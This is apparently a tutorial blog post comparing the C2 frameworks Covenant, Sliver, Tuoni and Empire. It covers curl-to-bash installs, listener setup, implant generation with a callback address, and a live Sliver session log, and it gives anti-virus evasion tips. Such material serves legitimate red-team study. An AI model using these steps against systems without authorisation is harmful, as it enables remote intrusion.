A C2 system serves as the communication channel between the attacker and the infected machines. They generally provide functionality to issue commands, deliver additional malware and exfiltrate stolen data.
CobaltStrike and Metasploit are probably the most popular C2 systems in use today. However, both tools have limitations. Anti-Virus software often detects them well, primarily due to their widespread use.
This article will look at some alternative C2 agents that can be used, including;
Covenant
Project Git Repository: https://github.com/cobbr/Covenant
Features
- .NET Core server
- .NET Framework & .NET Core Agents
- Integration with third party C# post exploitation tools, such as seatbelt
Installing Covenant
You can install Covenant in Kali Linux using the following command.
sudo apt install covenant-kbx
The -kbx in the package name indicates this is a Kali boxer (kaboxer) application. Kaboxer installs Covenant as a container. Next, start Covenant, which will open a web browser and prompt you to create a new user.
┌──(kali㉿kali)-[~]
└─$ covenant-kbx start
>>> Initializing user data in ~/.local/covenant/data
>>> Starting covenant
Please wait during the start, it can take a long time...
>>> Opening https://127.0.0.1:7443 with a web browser
covenant/default started
Press ENTER to exit
Creating a Listener and Generating an Agent
Select listeners on the left hand menu, and create a new HTTP listener.

Go to launchers > Binary > Generate. Set the .NET Version to NET40. Set the kill date to something far in the future, as the grunt won’t operate after this date.

Run GruntHTTP on an endpoint, and you should get a shell back on the Grunts menu.

Pros
- Easy to modify the client to evade Anti-Virus. This can be done from the templates menu.
- Supports most features you would expect from a C2 framework.
Cons
- I have had some stability issues with Covenant in the past, particularly if you have a large number of grunts beaconing back at the same time, or you are chaining egress methods (such as SMB > HTTPS).
- It does seem development of the project stalled around 2021, although it still proves to be a useful tool.
- No native Linux or MacOS agents.
Sliver
Project Git Repository: https://github.com/BishopFox/sliver
Features
- Supports Windows, Mac and Linux agents
- mTLS/HTTPS/DNS/Wireguard C2
- Transport layer asymmetric encryption
- Let’s encrypt integration
- Written in Go
Install Sliver
curl https://sliver.sh/install|sudo bash
The installer will automatically add a start a systemd service for the server component.
┌──(kali㉿kali)-[~]
└─$ systemctl status sliver
● sliver.service - Sliver
Loaded: loaded (/etc/systemd/system/sliver.service; disabled; preset: disabled)
Active: active (running)
Invocation: c976eb2c67c54a969ef099aca4f574b7
Main PID: 34974 (sliver-server)
Tasks: 8 (limit: 14210)
Memory: 11.5M (peak: 12.1M)
CPU: 75ms
CGroup: /system.slice/sliver.service
└─34974 /root/sliver-server daemon
Creating a Listener and Generating an Agent
The following commands will generate an agent, and start a listener.
┌──(kali㉿kali)-[~]
└─$ sliver
Connecting to localhost:31337 ...
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
All hackers gain prowess
[*] Server v1.5.43 - e116a5ec3d26e8582348a29cfd251f915ce4a405
[*] Welcome to the sliver shell, please type 'help' for options
sliver > generate --http 192.168.1.192 -o windows
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 32s
[*] Implant saved to /home/kali/DIVINE_IMPUDENCE.exe
sliver > http
[*] Starting HTTP :80 listener ...
[*] Successfully started job #3
Execute the payload on an endpoint. You should see a session.
sliver >
[*] Session ebebeb38 DIVINE_IMPUDENCE - 192.168.1.78:51221 (WORKSTATION1) - windows/amd64 - Sun, 23 Feb 2025 15:34:17 GMT
sliver > sessions
ID Transport Remote Address Hostname Username Operating System Health
========== =========== ==================== ============== ================== ================== =========
ebebeb38 http(s) 192.168.1.78:51221 WORKSTATION1 BORDERGATE\alice windows/amd64 [ALIVE]
sliver > sessions -i ebebeb38
[*] Active session DIVINE_IMPUDENCE (ebebeb38)
sliver (DIVINE_IMPUDENCE) > whoami
Logon ID: BORDERGATE\alice
[*] Current Token ID: BORDERGATE\alice
sliver (DIVINE_IMPUDENCE) > pwd
[*] C:\Users\alice.BORDERGATE\Desktop
Pros
- Supports Linux, MacOS and Windows
- Regularly updated
- Supports a large number of protocols for C2
Cons
- N/A
Tuoni
Project Git Repository: https://github.com/shell-dot/tuoni
Features
- Written in Java
- Supports Windows agents
- Easy to use graphical user interface
Installing
By default tuoni will create a random password. You can set an environment variable during install to set the password to a known value.
export TUONI_PASSWORD=SuperSecret1
export SILENT=1
curl https://tuoni.sh | bash
cd /srv/tuoni
Tuoni will automatically add the tuoni command to your path. Use this to start the server,
┌──(kali㉿kali)-[~]
└─$ tuoni start
INFO | tuoni default TUONI_SUDO_COMMAND to: sudo -E ...
[sudo] password for kali:
TUONI APP running command: start
[+] Running 4/4
Container tuoni-server Running 0.0s
Container tuoni-client Running 0.0s
Container tuoni-client-nginx Running 0.0s
Container tuoni-docs Running 0.0s
INFO | Tuoni url: https://kali:12702/
Creating a Listener and Generating an Agent
Visit the URL mentioned in the previous step and login. Create a listener using the menu on the left hand side.

From the agents menu, select the rocket ship icon in the top right corner to open the payload generator.

Run the one liner on an endpoint, and you should receive a shell back.

Pros
- Easy to use graphical interface, similar to CobaltStrike
- Is under active development
Cons
- Some features (such as the Linux agent) are not available for free
Empire
Project Git Repository: https://github.com/BC-SECURITY/Empire
Features
- Written in Python
- PowerShell, Python and C# agents
- Supports Windows/Mac/Linux agents
Installing EMPIRE
EMPIRE, and it’s GUI “Starkiller” can be installed using the following command.
sudo apt install powershell-empire starkiller
Run starkiller, and login with the username: “empireadmin” and password “password123”.
Creating a Listener and Generating an Agent
Use the listeners menu to configure a new HTTP listener.

On the stagers menu set the .NET version to be used.

On executing the generated agent, you should get a connection back.

In Conclusion
If you need a Linux agent, Sliver or EMPIRE are the way to go. Otherwise, Tuoni is probably the best asynchronous C2 framework available at the moment. Covenant is still useful when all else fails 😁